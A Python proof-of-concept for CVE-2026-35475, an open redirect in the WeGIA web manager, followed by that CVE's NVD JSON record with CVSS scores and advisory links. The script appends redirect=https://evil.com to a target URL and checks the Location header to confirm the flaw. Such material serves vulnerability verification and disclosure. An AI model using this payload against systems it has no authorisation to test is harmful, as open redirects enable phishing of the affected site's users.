CVE-2026-35475

# PoC for CVE-2026-35475 (Open Redirect in WeGIA) # The vulnerable endpoint accepts a 'redirect' parameter via GET request # and uses it directly in the Location header without validation. import requests def check_open_redirect(target_url): # Malicious external site for redirection test evil_site = "https://evil.com" # Construct the payload # Assuming the vulnerable endpoint is the root or a specific page accepting redirect full_url = f"{target_url}?redirect={evil_site}" try: # Send request, do not follow redirects automatically to check the header response = requests.get(full_url, allow_redirects=False) if response.status_code == 302 or response.status_code == 301: location = response.headers.get('Location') if location and evil_site in location: print(f"[+] Vulnerability Confirmed!") print(f"[+] Server redirected to: {location}") return True print("[-] Vulnerability not detected or endpoint requires specific path.") return False except Exception as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost/wegia" # Replace with actual target check_open_redirect(target)

{"cve": {"id": "CVE-2026-35475", "sourceIdentifier": "[email protected]", "published": "2026-04-06T22:16:24.340", "lastModified": "2026-04-10T20:18:42.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is a Web manager for charitable institutions. Prior to 3.6.9, the redirect parameter is taken directly from $_GET with no URL validation or whitelist check, then used verbatim in a header(\"Location: ...\") call. This vulnerability is fixed in 3.6.9."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.9", "matchCriteriaId": "A2128E5A-1B2E-4FD4-ADCE-1F7A619DFD51"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-qfpg-6jh6-jx6p", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-qfpg-6jh6-jx6p", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}